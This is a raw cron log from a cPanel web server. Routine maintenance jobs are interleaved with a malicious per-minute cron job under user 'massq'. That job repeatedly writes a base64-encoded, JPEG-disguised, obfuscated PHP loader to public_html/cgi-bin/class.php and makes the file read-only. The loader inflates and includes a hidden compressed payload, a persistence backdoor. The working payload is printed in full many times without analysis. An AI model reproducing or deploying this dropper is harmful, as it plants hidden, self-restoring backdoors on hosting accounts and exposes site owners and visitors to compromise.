Sep 11 07:20:01 server CROND[31957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:20:01 server CROND[31960]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:20:01 server CROND[31954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:20:01 server CROND[31955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:20:01 server CROND[31959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:21:01 server CROND[347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:21:01 server CROND[349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:21:01 server CROND[350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:22:01 server CROND[758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:22:01 server CROND[759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:22:01 server CROND[760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:23:01 server CROND[1196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:23:01 server CROND[1197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:23:01 server CROND[1198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:24:01 server CROND[1720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:24:01 server CROND[1721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:24:01 server CROND[1722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:25:01 server CROND[2242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:25:01 server CROND[2243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:25:01 server CROND[2244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:25:01 server CROND[2251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:25:01 server CROND[2250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:25:01 server CROND[2249]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:25:01 server CROND[2248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:26:01 server CROND[3119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:26:01 server CROND[3121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:26:01 server CROND[3120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:27:01 server CROND[3507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:27:01 server CROND[3508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:27:01 server CROND[3510]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:27:01 server CROND[3509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:28:01 server CROND[3896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:28:01 server CROND[3895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:28:01 server CROND[3897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:29:01 server CROND[4849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:29:01 server CROND[4850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:29:01 server CROND[4851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:30:01 server CROND[5338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:30:01 server CROND[5341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:30:01 server CROND[5340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:30:01 server CROND[5347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:30:01 server CROND[5344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:30:01 server CROND[5342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:30:01 server CROND[5345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:30:01 server CROND[5346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:31:01 server CROND[6195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:31:01 server CROND[6196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:31:02 server CROND[6197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:32:01 server CROND[6588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
